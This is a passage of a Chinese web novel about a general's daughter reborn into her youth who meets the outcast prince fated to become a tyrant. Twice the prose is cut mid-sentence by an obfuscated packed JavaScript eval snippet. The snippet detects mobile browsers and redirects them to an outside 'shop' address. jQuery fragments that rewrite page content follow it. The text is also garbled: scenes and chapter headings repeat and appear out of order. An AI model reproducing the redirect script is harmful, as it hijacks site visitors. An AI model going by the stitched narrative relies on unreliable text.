《重回反派少年时》
1. 重生
“打了皇子?”
“是的,他惊了小姐的马,还敢瞪小姐,小姐就抽了他一鞭子......”
“有什么大不了的,不过就是打了一个被贬到冷宫的落魄子,小姐这样高贵的身份,就算是打了太子又如何?我看小姐经常与太子玩耍打闹呢!”
“你们有所不知啊,那个皇子,他娘还是个异族呢!我看圣上啊,巴不得他早点死呢......”
正值寒冬,窗外寒风瑟瑟,屋内却是暖香袅袅。
几个丫鬟围在一个火炉边,七嘴八舌地讨论着,窸窸窣窣的声音吵醒了锦绣软榻上的娇贵少女。
奚映雪微微偏过头,透过朦胧的月华纱帘看向外面,侍女们一张张年轻圆润的俏脸鲜活生动,再看不到曾经死气沉沉的畏缩模样。
“绣橘。”奚映雪轻轻唤了一声。
听到榻上动静,几个侍女立刻起身,如归巢乳燕般,叽叽喳喳地围了上来。其中一个圆脸侍女唤名绣橘,她神色关切地招呼道:“小姐醒了,快!扶小姐起来,都仔细着点!”
众侍女小心翼翼地扶着奚映雪到梳妆台前坐下,另一个侍女青荷开口:“小姐还头晕吗?刚刚可把我们都吓坏了!太子殿下都遣人来问过了呢!”
丫鬟们叽叽喳喳,奚映雪却未发一言,只是静静端坐于菱花镜前,观察着镜中人的模样。
镜中是一位十五六岁的少女,乌发雪肌,琼鼻玉面,红唇皓齿,不但容颜姣妍脱俗,气质更是清韵高洁,犹如那浮光晴雪天,端的是婵娟冰雪之姿。那张雪白小脸上最为吸睛的,是一双微微上挑的翦水秋瞳,晶莹澄澈堪比黑夜中的宝石,别有一番骄矜灵动味道。一身织锦华服,无声地昭示着她的尊贵身份。
奚映雪抬手,直到触及温热眼角。
一个不可思议的判断方才出现在脑海中——
她重生了。
她居然,回到了七年前及笄之时!
几乎是贪恋般抚摸手中温热,镜中少女嘴角弯弯,如雪般细腻白皙的脸庞似乎染上一丝俏丽红晕。
但是慢慢地,那笑意凝在唇角。
她想到了前世之死。
上辈子,她身为大将军府嫡女,家世样貌无一不是冠绝京城。父亲和哥哥皆是手握实权、掌管镇北重兵的大将军,铁骨铮铮;母亲是荣国府嫡出小姐,温婉貌美,虽早逝却留下深厚底蕴。而她,背靠武将与世家两大势力,毫无意外地被誉为世家贵女的魁首,太子宠着,哥哥护着,京中无数权贵子弟趋之若鹜。可以说,在她成亲前的日子里,可谓是意气风发,无数人想要讨好她还要看她心情。
然而,一切转折发生在她与太子成婚不过三四年后。将军府三代忠烈,却因一幅带着神秘符号的画作,被构陷谋逆通敌,落得个通敌喋血的下场。她贪慕皇权嫁给当朝太子,却看不清他的薄情与无能,被他似赠非赠予九皇子。
人世间最大的痛苦,莫过于明明拥有,却又被一点一点地夺走。
前世她就是如此,生来锦衣玉食,众星捧月;然而死的时候,亲人全亡,身边竟连个可以说话的人都没有。
是的,她就那样死了,死在极度悲哀的现实里,死在冰冷死寂的院落里。
她记得送药的嬷嬷撬着她的嘴,粗暴地灌她毒药,然后阴恻恻地告诉她,奚将军已于正午于上东门内被斩首。她嘶哑的声音格外清晰:“你父亲都死了,你这罪女还苟活什么?”
当时,她一口心头血喷在冰冷的地面,意识消散前,满是父兄慈爱的面容。
奚家!结局不该是这样!难道,显赫的军功,满门的忠烈,众人的追捧,亲人的疼爱,竟都是错的吗!
她实在不想再经历一次家庭破碎,将军府传承百余载,怎能落个如此结局!
思及前世将军府的惨状,奚映雪难以克制地湿了眼眶。
“小姐,小姐你怎么哭了?”绣橘看到她眼里的盈盈泪光大惊失色,小姐向来是最骄傲的性子,怎地现在竟然哭了?难道是因为被吓着了?不会!要是往日遇到这等惊马之事,小姐肯定早就使性子将不顺眼的人通通斥责一番了,怎会现在默默流泪?
定是被气得狠了!
绣橘生气地打抱不平:“都怪那个九皇子,不知天高地厚,惊到了您的马,不过小姐放心,太子殿下可护着您呢,当场就耳提面训,罚他去马厩思过了!”
“什么?”
奚映雪猛地站起身。
侍婢的话犹如一个火苗,点燃了她心中岌岌可危的紧张感。
婢女所言,正是她重生刹那之事。
前一秒,她明明还在皇宫的后宫里,被两个嬷嬷粗暴地灌下了那杯毒酒;后一秒,居然就出现在了旌旗猎猎、人声鼎沸的皇家游马场。正觉得这个梦分外真实时,她看到一群王公贵胄正在折辱一个少年,虽是司空见惯的场面,她却因为一模一样的场景再次重演而怔忡,仅仅只是旁观。
那个少年骤然挣脱拖拽,惊到了她的坐骑。混乱中,她失手甩了他一鞭子......
随后,他就被人强行按在地上给她道歉。
神游的状态,在她看到少年的脸的那一刻,停止——眼前那少年平静隐忍的目光,竟逐渐与七年后,燕王狠戾桀骜的眼神,重合。
奚映雪的呼吸瞬间停滞。
所以她立即就被惊去了三魂七魄,眼前一白,晕倒了。
——她居然打了凌昱!那个个日后血洗皇宫、手刃兄弟的杀夫仇人,那个令满朝文武噤若寒蝉、嗜杀成性的新帝,那个将她视作打败太子的胜利品,时不时来就刺激她一下的疯王!
她对那人,是惧得深刻、恨得咬牙。
惧是因为天下人都惧怕他!那个令人毛骨悚然的疯子,他手段暴虐,狠戾虚伪,浑身浴血从北疆归来之后,使得阴狠手段将自己的兄弟血亲全部手刃,硬生生把老皇帝气得归了西!登基之后,他更是变本加厉,明明前一秒还在点头听奏折,后一秒就把违逆他的朝臣吊在金銮殿门口,好整以暇地请下一个启奏的大臣一起欣赏,登时就给那位五品大员吓得尿了裤子。
最让人无力的是,他也是大夏历史上成就最高的帝王。凌昱骁勇善战,运筹帷幄,挟天子以令诸侯,以雷霆手段结束了大夏与众多异族百年的纷争,周边诸国无不对大夏朝顺从万分、俯首称臣。
所以,哪怕太子被他杀了,又有哪个人敢出来说一个不字呢?
哪怕她被当做器物一样送给他,又有谁敢出来替她做主呢?
“小姐要是还生气,需不需要找人再教训下他?”众婢女看奚映雪一直绷着脸不言语,纷纷出谋划策道。
奚映雪:“......”
她是有几个胆子,明明知道这人的可怕,还敢去“教训”他?
凌昱睚眦必报,而且似乎非常讨厌皇族。
她仍记得在燕王府寄人篱下的那一年,彼时他还未登基,太子惧怕他的手段、又担心将军府谋逆之事牵连到东宫,竟然把她转送于凌昱。
为了羞辱太子,凌昱竟然不杀她。
作为东宫太子妃,她竟然住进了凌昱的燕王府,这一待就是整整一年。
寄人篱下的日子实在难过,奚映雪凭借着猜他的喜好过活。但那个疯王喜怒无常、阴晴不定,性格怪极。明明讨厌她,又偏偏一回燕王府就要来看她,奚映雪好几次不堪他言语的讽刺之意,梗着脖子回嘴了几句,然后就被他压在床榻上,那双带着怒意的眼睛实在是黑亮得吓人。
甚至数次,凌昱那冰凉的手已经摸上了她的脖子,她以为自己肯定死定了,可他只是俯下身,用指腹抹去她惊恐的眼泪,神色沉沉地甩袖而去。
盼着能为奚家洗刷冤屈,她方才活到一年后。
果不其然,他登基没多久,把所有障碍都清了干净。随后,她就在寝宫里被灌下了一碗砒霜,魂归黄土。
奚映雪咬着唇想,大概是看她已无价值,随意清理了。
如今再来一次,今世,她宁愿不再嫁给太子、宁愿完全放弃男女情爱之事,哪怕是当个姑子遁入空门,也不会再掺合进皇权争斗,不会再与那疯王作对!
“不必。”心思瞬间已然百转千回,奚映雪回道,同时抬头重新看向镜中,那高贵少女眼眸依旧清澈,却没有了那份不谙世事的天真与骄纵。
这一世,她不仅要保全将军府,连同前世的所有疑问,她都要找到答案。
那谋害将军府的画作上,神秘符号到底意味着什么?将军府又是被何人陷害?
而凌昱......
奚映雪咬着唇想,虽然恨他,但是这个国家离不开凌昱的政治远见与军事才能,百姓需要这样一位英主去结束战乱。作为大将军府嫡女,她还是能分得清孰轻孰重。
而且,对野心勃勃的凌昱来说,此次惊马之事,不过是桩小事。以奚家的权势与兵权,日后未必不能弥补。毕竟,一个落魄低微的皇子,毕生所求莫过于兵权与皇权,而兵权,而奚家,恰好有。
至于私交,完全没有必要,在此之前,自己与他几乎不相识。
现在,自己先提前认错示个好,想来等他成年后,今日微不足道的摩擦,估计会被他忘得一干二净吧。
思索至此,她的心慢慢放松下来,开口道:“去取一瓶金疮药,我要去马厩。”
第二章初见凌昱-黑衣马夫
皇家游马场戒备森严,处处有侍卫把守。为了不打草惊蛇,奚映雪独自行走在偏僻的小路上。还好马厩方向少有人出入,一路上少有行人。
半柱香时间后,前方有一片低矮的房屋映入眼帘,正是皇家马厩。
奚映雪轻轻推开那扇虚掩的木门。
一股动物排泄、草料、泔水混合的气味扑面而来。
她皱着眉,下意识虚掩口鼻。
想找个人把金疮药带给凌昱,却看到里面只有一个扛着沉重草料的黑衣马夫。离得太远她看不清脸,明明是个少年,却有着类似于北疆异族一般的高大身形,在这个逼仄的马厩之中显得十分有压迫感。
现在已经寒冬,她穿着狐裘夹袄都觉得有些寒冷,可这人居然只是穿了一件单薄麻衣,弯腰扛料时,脊背几道深可见骨的鞭伤隐约显露,皮肉翻卷,尚未愈合,像是刚受过重罚一般。
奚映雪看着这可怖伤口,下意识后退半步,心头暗悔未带侍女同行。因为怕侍女发现她重生之事,所以特意独自前来。
“喂,”她稳了稳心神,无奈只能唤那黑衣马夫:“你知道九皇子在哪里吗?”
那人动作一顿,缓缓转过身。
一张阴郁冰冷的脸庞出现在眼前,阳光在他身上投下明暗交错的光影。几缕微卷黑发随意垂在脸颊两侧,鼻梁高挺,轮廓立体。一双标志性的瑞凤眼狭长深邃,左颊有几道粉色新伤,给这张昳丽俊美的脸上更添几分邪气。但是他衣服简陋,发丝凌乱,让他看起来有些落魄。
居然是凌昱!
奚映雪暗自咽了口口水,手心已沁满冷汗。哪怕装扮截然不同,他本人也年轻了好几岁,她还是瞬间将他认了出来。
在她的潜意识里,那个日后身着玄色锦袍、权倾天下的桀骜男人,还有他那冷漠阴沉的眼神,真让她产生了深深忌惮之感。那种小命捏在别人手里的感觉太过深刻,仿佛已经形成了看到他就头皮发麻的习惯。
其实真论起来,在她被灌下那碗毒药之前,她在燕王府的日子倒也还行。凌昱此人虽然性格乖戾古怪,但估计为了羞辱太子,她住的是燕王府最奢华的主殿,日常吃穿用度皆为上等,比在东宫有过之而无不及。
如果没发生后来的那场变故,她也不是不能继续忍下去。
太子被杀那天,想起来她仍是心有余悸:穿着铠甲的凌昱不由分说闯进她的卧房,一脸阴鸷地把太子的玉佩丢在她面前,她颤抖着捡起那块带着血丝的玉牌,目光愤恨地看着他。而凌昱,居高临下地欣赏着她这幅跌落尘埃的恐惧表情,似乎对她的反应满意极了,也高兴极了。他甚至不顾着身上还穿着坚硬的铠甲,竟然、竟然——
吻了她。
奚映雪心里那个恨啊,想来她作为大将军府嫡女,高傲了一辈子,居然在夫君死的这一天,被杀夫仇人如此羞辱!
然而到了如今,她心中不仅有愤怒,更多的是后悔,早知道这人会成为九五至尊,她说什么也会离他远远的!再也不会在他落魄时嘲笑他、欺辱他。
思及此,她感慨万分,胸口起伏不定。
眼前的少年听到她的声音,本来只是瞟了她一眼,并未有什么动作。然而,似乎是发现她神色激动、情绪异样,他慢慢地直起身,那双黑得发亮的眸子忽地一下锁住她,打量的视线似乎在她身上绕了一圈,慢慢划过她乍红乍白的脸,最后,落在她因急促呼吸而不断起伏的饱满胸口。
奚映雪顿时浑身一僵,不但涨红了脸,还握紧了拳头。
原本她是想示好凌昱的:到马厩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096759|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偷偷看看他,然后差人将这金疮药给他。甚至,她还想过,今生今世,只要凌昱承诺保全将军府,她愿意抱着他的大腿摇尾乞怜。
但是现在,真正直面这个阴沉的男人,那双阴森森的眼睛牢牢锁定她,她仿佛一下子回到了前世。不由地打了个寒颤,同时在心里骂了自己一句。
哪怕她忽略奚家刚正不阿的家风,但看见这双寒潭似的眼睛,顿时什么勇气都没了!
凌昱盯着眼前的女子。
他当然记得她,大将军府嫡女,京城有名的傲慢美人。今早她还甩了自己一鞭子,然后就昏倒了,让自己白白地挨了一顿鞭打。
原本他是有些怒意在的,但是,逐渐他感到有什么不一样。
往日里这张高贵妩媚的面庞向来是眼睛长到天上去的,非太子之人都入不了她的眼,更别说来马厩这种脏污之地了。但现在,娇艳靡丽的少女却睁着那双水灵猫眼儿瞪着他,窈窕如柳的身姿随呼吸轻晃,仿佛他是什么仇人一样。
他觉得生气又好笑的同时,内心竟生出来几分不一样的感觉。
奚映雪同样被那双眼睛看得是浑身僵硬。
他什么意思?现在两人应该不认识才对,难道他是因为今日惊马之事记恨上她了吗?那也不怪她啊,是他先摔到马下吓到她的......
想了一会儿,她愈发觉得装作互不相识才是上策。先以将军府的名义示好凌昱,以后他估计也不会想起来她。
奚映雪轻咳一声,拿出一个精致的白瓷瓶:“我是将军府的人,受人之托过来送个药,请你将这金疮药带给九皇子。”
听见她这话,凌昱终于动了。
他缓缓放下背上的草料,那双凤眼微微眯起,眼尾的弧度很是深邃,原本像寒潭一样沉寂的眼眸里,竟荡起了一丝涟漪,涟漪底下藏着几分审视,还有一丝怒意。
就在奚映雪汗毛起立,甚至有了逃离之意时,只见凌昱微微勾唇,冷声道:“才不过半日,自己打了谁连样子都记不住吗?果然是贵人多忘事啊!”
奚映雪:“.......”
本想给他留点面子,但他倒直接,也罢,那就没什么可顾虑的了!
“今早分明是你先摔到我的马下,我不过是被惊到才不小心打到你的,怎地你反倒血口喷人?”
“哦?又不是受人之托了?”凌昱淡淡抬眼。
奚映雪暗自后悔刚刚说错话,同时看着他眼中的怒意,只觉得自己好似做了一件错事,顿时怎么做都不对,只能匆匆将那瓷瓶放到地上:“我只是有点愧疚,你没有药可以用吧?这是金疮药。”说完觉得心虚一样,转身就想离开。
凌昱听到她的解释,似乎终于被气笑了,毫不留情冷声讥讽:“你先打我一鞭,佯装昏倒引得太子罚我打扫马厩,后暗示四皇子再填一些鞭伤,你看不惯我就看不惯,不用假惺惺的!”
奚映雪睁大了眼睛:“我是被吓到昏倒了,太子罚你跟我有什么关系?而且,什么时候暗示四皇子打你了!”
凌昱似乎是有些不耐一般,嗤笑一声转过了身。
这声嗤笑被奚映雪听见了,往日她是害怕凌昱,但现在凌昱还没有权势,自己什么时候听过这样的重话,又无缘无故地被扣了这么多帽子,实在不能忍!
“我想打一个人何须暗示,我敢打谁又敢躲!倒是你,一个皇子做成你这样,活该被人欺负......”
凌昱听见这句也停下了脚步,他倏地转过身,神绿色的双眸直直锁住她,脸色也不太自然,像是在压抑着什么情绪。
奚映雪心里“咯噔”一下,一下子想起来前世被他压在床榻上掐着脖子的事,吓得什么也不敢说了,提着裙摆转身便跑了马厩。
凌昱看着那道纤秾合度的背影,眼神中晦涩不明。
-
当晚,游马场住所偏殿。
本次冬日围猎将近一周,从马厩气呼呼地回来后,便开始回忆前世之事。
奚映雪叹了一口气,还是太莽撞了,许从长计议。于是她正坐在案牍边,手执紫毫,打算将那前世乱世情景记于纸上。
烛火摇曳映在她莹白的面庞上。
思绪纷飞间,前世壮烈画卷于她眼前徐徐展开。
帝王之业,开疆拓土。北疆克勒族与大夏朝苦战久矣,奚家世代镇守边疆,她嫁入太子府后,日子原本过得还算安稳。可突然时局变迁,克勒族隐有穷兵黩武之意,京城动荡,风雨欲来,不少贵胄成了阶下囚,无数百姓更是流离失所。
将军府也在陨落之列,被一幅带着神秘符号的画作构陷通敌。皇上大怒,将北疆战场失利原因全归于奚家,而她,也被太子当个烫手山芋一样送给了燕王。
诸王陨落,燕王却在乱世中安定边疆,重振朝纲......
奚映雪提笔圈出“燕王”二字。
“皇嫂有心家书,倒是恕本王无法相送了。”耳边忽地传来低沉冷冽的声音,还带着一丝血腥气。
“为何?”奚映雪抬起头,看见俊美无铸的男人发丝凌乱,铠甲上面还落着点点血迹,像是刚经历过一场屠戮似的。她不禁皱眉:“燕王殿下,信中只是一些我与太子的问候之语。”
“因为太子,已被我杀死了。”凌昱缓缓开口,灯光忽明忽暗,映出那双凤眸里惊心动魄的疯狂。
......
一滴墨落于纸上,案牍前空荡荡的。
奚映雪猛地回神,这里哪里有什么凌昱?
不过是重生后,前世今生的记忆混杂在一起,生出的幻觉罢了。
她伸手抚向发闷的额头,吁出一口浊气。
重活一世,她已经不是那个耳目闭塞的刁蛮贵女了,相反,因为经历过前世家破人亡,她知道二十万镇北兵权早在太子谋划之中,如何远离太子,她还需要好好想想。
但是,如果不依附于太子的话,将军府又该如何再找到另一个合作的势力,在乱世之中活下去?
父亲、哥哥、太子......倒不是多心疼太子,前世经历过时局动荡,她已看清了危难时的自私人性,勉强能理解,太子是为自保、以及保护她,才将她拱手送走。
但,终归也是心里的一根刺。
怎么办?
一切疑问憋在心中,无人解答。
思索无果,眼看着天色见黑,奚映雪决定明日去找太子探查消息,毕竟二人做过夫妻,从他身边入手,不失为稳妥之法。
2. 初见凌昱
奚映雪立即下意识看向凌昱。
来得正好啊!如果今日不给他一点颜色看看,它日凌昱真的发达了,还不真的以为她是好欺负的吗?
而这个浑身是伤的人只是站在远处,低着眼,阴郁的脸上没什么表情。
奚映雪也不再多言,转身快步走到木门前,拉开门栓。
门外,侍卫们本是带着几分不耐例行排查。毕竟马厩污秽,谁也不愿多待,可看清门后这抹姝色后,他们个个惊得瞠目结舌,不耐烦的表情瞬间转换成毕恭毕敬。
“奚、奚小姐。”侍卫们赶紧垂眸躬身。
“你们,进来。”奚映雪扬了扬雪白的下巴。
侍卫们面面相觑,心中踌躇。按说找到了奚小姐,该即刻护送她回去复命,太子注重奚小姐,再三叮嘱要护她周全。但奚小姐提出了其他要求,他们又岂敢不从?毕竟太子对她都是有求必应,得罪了她,便是得罪了太子。
众人压下心中疑惑,鱼贯而入,刚入马厩,便发现立于草剁旁的九皇子。
侍卫们当即心领神会,互相给了个眼神——听说今日奚小姐的坐骑被九皇子惊了,这是,来寻仇了?
奚映雪根本不关心侍卫们的反应,反倒转身看向凌昱。
“你想回去吗?”她笑意盈盈,神色得意。
在奚映雪看向凌昱的同时,后者已把她一切动作收入眼底。
大将军府嫡女确实如京中传闻一般,高贵出尘,这是一种被伺候出来的气质,是把人踏在脚下得来的气质。
现在,这个高贵美丽的少女正站在他面前,背后还有一群侍卫围立。
俨然是掌控全局的模样。
“是吗?”凌昱嘴角勾起,声音里微微带着嘲讽。
他心中已盘算出七八分:这大概又是一次精心设计的恶意欺辱,只不过换了迂回曲折的法子,先是昏厥,再寻到马厩,说些好言好语,又引着侍卫进来,不过又是一次拳打脚踢。
他竟方才还生出一丝荒诞的期待,可笑至极。
奚映雪对他的想法一无所知。她素手一抬,指向马房对身后侍卫说:“你们,即刻将这里打扫干净,一丝尘土也不许留下。”
随后,她缓缓走到他面前,神色睥睨:“你只要叫我一声‘好姐姐’,我便放你回去,如何?”
凌昱那张冰封一般的脸上,终于出现一丝裂痕。
半晌,他才欲言又止的回复:“......什么?”
少年那双凤眸长睫翩跹似落羽般颤动,似乎是不可置信般,看得奚映雪又是一阵生气。
“你叫不叫!”她已经压制怒气了,凭凌昱前世对太子的所作所为,她做出什么事都不过分,现在只是让他叫一声姐姐,这人居然还不识好歹吗?
“抓住他!”
几个侍卫闻言,纵然是二丈摸不着头脑,还是冲了上来,压制住少年的身体,将他压到奚映雪前面。
但侍卫们内心奇怪:二人为何前言不搭后语的,直接打他一顿就是了,难道奚小姐不是来报复的?
少年踉跄着,被几个人制住,他身上还有伤口,纵然是竭力支撑着岌岌可危的尊严,还是不得不在奚映雪面前低下了头。
“抬头。”
侍卫们不敢耽搁,立即把他的头扳正。
奚映雪看着眼前负伤却紧闭双唇的少年,心中好笑,一声姐姐,他就跟受了什么大刑一样死活不肯开口。
也好,这样收服起来才有意思。
经过今日此遭,奚映雪已经想明白,她倒是想放过凌昱,可是凌昱能视而不见曾经屈辱,饶了太子和奚家吗?
为了大夏朝的未来,还要靠他抵御北境众多虎视眈眈的异族,杀也杀不得,那便只能收服了。
左右,不过是死路一条。
再差也差不过前世,将军府陨落、太子被杀、自己成为他的战利品之境遇。
奚映雪伸出一只食指,慢悠悠地划过他脸上的伤痕。
凌昱不得不将眼神放于眼前少女身上,香气拂过,他不觉得痛,只觉得痒。
奚映雪悠哉地从袖子里掏出一块手帕,慢慢抬手在他面庞灰尘上擦起来:“你可知道,惹到我,可不止一顿鞭子那么简单。但你若能让我开心——”
她气如芬兰,吐在少年面上:“我倒是也不介意多养一条狗。”
-
大将军府。
马车刚停在门口,奚映雪抬脚下车,欣赏着一切场景。
将军府内依旧花木扶疏,葱葱郁郁。
沿途,修剪花木的仆妇安然忙碌,廊下的鹦鹉还在学舌,廊柱上的铜铃被风吹得叮当作响。
一切都和抄家前一样,温暖而安宁。
一切都还来得及。
直直走到书房前,奚映雪推开了那扇熟悉的梨花木门。
屋内,一个身形魁梧的中年男子,正坐在案前批阅公文,身边有一位温婉秀丽的美妇人,端坐在一旁读书。
二人听见开门声,齐齐抬眸。
“爹、娘——”看到完好的二人,奚映雪压抑许久的情绪终于松动。
她忍不住扑进母亲窦氏怀中,居然有泪水滑过脸庞。
明明前世最糟糕的时期,她也没从哭过,现在却仿佛是想将种种复杂心绪全部倾泻而出一般,泪水竟逐渐将窦氏的衣襟浸湿了一大片。
母亲窦氏诧异,伸手抚上她的背脊:“雪儿,才半日不见,这是怎么了?”
奚映雪心中难受:父母和兄长就像是她的逆鳞。如果不是她嫁给了太子,惹怒了燕王,或者燕王也能在那场动乱中保住奚家。无论她怎么骄纵,父亲忠心为国,母亲高雅美丽,哥哥更是为了大夏朝几经沙场,却埋在那个黄沙之地......
这一别,哪里是半日,是很多年。
她抱着窦氏不肯撒手。
父亲奚远峥看她这番模样,放下手中的朱笔,语气威严却难掩关切:“雪儿,怎么回事?谁欺负你了?”
闻言,奚映雪把脸埋得更低了。爹,娘,怪女儿不中用,你们怪我吗?是我没护住奚家,你们怪女儿吗?
良久,终于压下心中万千思绪,她抬头开口道:“爹、娘,咱们府中,是否有一块画着奇怪符号的画作?”
前世,她从凌昱房外偶然听到,圣上之所以下令抄奚府,正是因为搜到了一块将军府的谋反物证。
这物证,以神秘符号记载在画作上,原本无人能识。却被破译为失传的边防语言,其中涵义直指大夏朝与外敌克勒族的古老辛秘,一下子坐实了将军府叛国的罪名。
奚远峥看着她红肿的杏眼,语气疑惑:“府中从未有过什么奇怪符号的画作?”
窦氏点了点头,伸手拂去她脸上的泪珠:“雪儿是想买画了?娘明日带你去书画铺子可好?”
奚映雪看出了父母眼中的疑惑与坦荡,似无作伪,心头微沉。
父亲母亲都不知道?难道,那画作现在还不在奚家?是日后有人故意陷害,偷偷送进来的?
她知晓此物事关重大,若贸然说出重生一事,肯定不会有人相信,说不定还会被传出去打草惊蛇。
思忖至此,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096760|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
强颜欢笑道:“没事,前几日看到有类似的画作,回来问问家里有没有,想欣赏下罢了。”
说罢,她又转身投进父亲的怀中,撒着娇:“女儿好久没和爹一起用晚膳了,今日我想在娘院子里吃饭......”
-
三日后,入夜,月明星稀。
奚映雪正垂首坐在案牍边,手执紫毫,将那前世乱世情景记于纸上。
烛火摇曳映在她莹白的面庞上。
思绪纷飞间,前世壮烈画卷于她眼前徐徐展开。
帝王之业,开疆拓土。北疆外族以克勒族为首,与大夏朝苦战久矣,奚家世代镇守边疆,守护王朝。她嫁入太子府后,日子原本过得还算安稳。可突然时局变迁,克勒族隐有穷兵黩武之意,京城动荡,风雨欲来,不少贵胄成了阶下囚,无数百姓更是流离失所。
将军府也在陨落之列,被一幅带着神秘符号的画作构陷通敌。皇上大怒,将北疆战场失利原因全归于奚家,而她,也被太子当个烫手山芋一样送给了燕王。
诸王陨落,燕王却在乱世中安定边疆,重振朝纲......
奚映雪提笔圈出“燕王”二字。
“皇嫂有心家书,倒是恕本王无法相送了。”耳边忽地传来低沉冷冽的声音,还带着一丝血腥气。
“为何?”奚映雪抬起头,看见俊美无铸的男人发丝凌乱,铠甲上面还落着点点血迹,像是刚经历过一场屠戮似的。她不禁皱眉:“燕王殿下,信中只是一些我与太子的问候之语。”
“因为太子,已被我杀死了。”凌昱缓缓开口,灯光忽明忽暗,映出那双凤眸里惊心动魄的疯狂。
......
一滴墨落于纸上,案牍前空荡荡的。
奚映雪猛地回神,这里哪里有什么凌昱?
不过是重生后,前世今生的记忆混杂在一起,生出的幻觉罢了。
她伸手抚向发闷的额头,吁出一口浊气。
回府后,她心里一直充斥着难以言喻的不安。好像知道什么即将发生大事,却又找不到头绪一样。
一切疑问憋在心中,无人解答。
父亲母亲、哥哥、太子......倒不是多心疼太子,前世经历过时局动荡,她已看清了危难时的自私人性,勉强能理解,太子是为自保、以及保护她,才将她拱手送走。
但,终归也是心里的一根刺。
而且,她心中始终有一个疑惑:将军府被构陷,是不是与燕王有关?
倒行逆施、残暴不仁、喜怒无常的燕王。那场混乱中,怎么看,最大获利者都是他。
奚映雪颇有些咬牙切齿地想,当日她就不该去马厩找他!简直是与虎谋皮!纵然因大计所需,要将这未来大夏朝掌权人收入麾下,可是愤怒的感觉还是时常涌上。
前世他那等暴虐手段,小时候再怎么惨,有什么可怜惜的。苦衷谁没有?可哪有人像他那般疯魔?
如果真是他害了奚家,她是无论如何也咽不下这口气的。
然而,当日马厩中那负伤的年轻面庞又出现在脑海中,尤其是那双深邃凤目,竟叫人没由来地看出几分悲伤来。
奚映雪长叹一口气,不得不承认,她对他怀有恻隐之心。
但是,要怪就怪你生在皇家不得不斗,要怪就怪你明明身份卑微却命数太好,居然能在那么多次宫廷动乱、战场纷争中活下来,还成了大夏的帝王。
既已重生,她必须要牢牢握住这个利剑。
良久,奚映雪扬声唤侍婢,“绣橘,去准备马车,明日我要进宫。”
3. 美人
次日,皇家游马场。
奚映雪停于侧殿廊下,视线投向游猎场高台上,父亲那威武的面孔。
看到父亲确实如同七年前一般硬朗英武,她不由得舒了口气,心中仅剩的那些疑虑也一并消散了。
后方忽然传来一道带着温和的中年女声:“雪儿,怎么不去马场打马球,反而在这里发呆?太子殿下刚刚可是念叨你好久了。”
奚映雪皱眉,自己明明是女眷,如何能和世家少爷一起上场比赛,于情于礼都不合适,她却毫不避讳地让自己去找太子,也难怪上辈子京中人人都说她贪恋太子了,最后想不嫁都不合适。
带着笑意的女声更近,甚至显得有点刻意:“雪儿可是累了?母亲做了桃花酥,可要尝尝解解乏?”
奚映雪缓缓转身,平静如雪夜的脸上扬起浅浅微笑,施施然行礼:“母亲做的点心向来出色,是女儿的心头好。”
前言中年女子纵然三十多岁,依旧面容秀美、不失温婉。那端庄温和的面庞上此时正噙着一丝笑意,正是父亲奚远峥的续弦,她早逝的生母堂妹,窦玉然。
“都怪你父亲,非要你在这寒冬天来游马场,我说让你在家休养,他偏不听。方才听闻你昏倒,可急死母亲了。”
“还是母亲想得周到。”奚映雪颔首点头,嘴角却扯出一丝微不可察的讽刺。
见面第一句,她只提太子,第二句便是离间他们父女关系。前世她到底是有多蠢,才会认贼作母,就这么听信了窦玉然的温柔谗言,与一心为国、一心为她和这个家的父亲交恶,关系闹得那么僵,直到父亲去世前,都没能看到他最后一面。
父亲曾百般告诫她太子实非良人,切勿掺和储君之争,可她却那么傻,听进去了后母的有心之言,一心一意扑进东宫那个龙潭虎穴中。如果不是她嫁给了太子,太子也不会借用奚家兵权与其他皇子争储,也未必会彻底激怒凌昱,或许将军府尚有一线生机。
无论她怎么骄纵,实在是难以接受忠心为国的父亲、哥哥,就这么陨落在了在了大夏朝皇权争斗的历史中......
现在想来,到底是什么算计,窦玉然才会极力鼓动她嫁给太子。
这样绞尽心机撺掇自己讨好太子的妇人,在她自己的女儿奚静影待嫁之时,也恰好是凌昱登基之时,立即就将她送到了皇宫之中,还被凌昱封了才人!
也无怪乎,或许作为嫡出亡姐之女,自己的存在原本就碍了她的眼。
只是自己从未看清罢了。
奚映雪抬起头,恢复了往日骄纵濡慕的模样,语气轻松地开口:“母亲,我有事想问,我听说书画铺子新进来一批画作,有奇怪的符号,不知道咱们府中有没有类似的书画?”
说完,她便紧紧盯着窦玉然的表情,生怕错过任何一点变化。
她是在试探窦玉然。
前世在燕王府时,她从凌昱房外偶然听到,圣上之所以下令将父亲下狱,正是因为搜到了一块将军府的谋反物证。这物证,以神秘符号记载在画作上,原本无人能识。却被破译为失传的边防语言,其中涵义直指大夏朝与外敌克勒族的古老辛秘,一下子坐实了将军府叛国的罪名。
她完全不相信父亲和哥哥会通敌,所以这必然是陷害。
窦玉然思考一番,语气疑惑:“雪儿,府中并无此类画作。你若喜欢,等下叫上太子殿下一起去书画铺子可好?”
纵然后母再提太子让奚映雪不耐,但是她看出了窦玉然眼中的疑惑与坦荡,似无作伪。
奚映雪心头微沉。
不是窦玉然,那是谁?是谁有这么大的能耐,能在重兵看守的将军府藏下物证?或者,难道那画作现在还不在奚家?
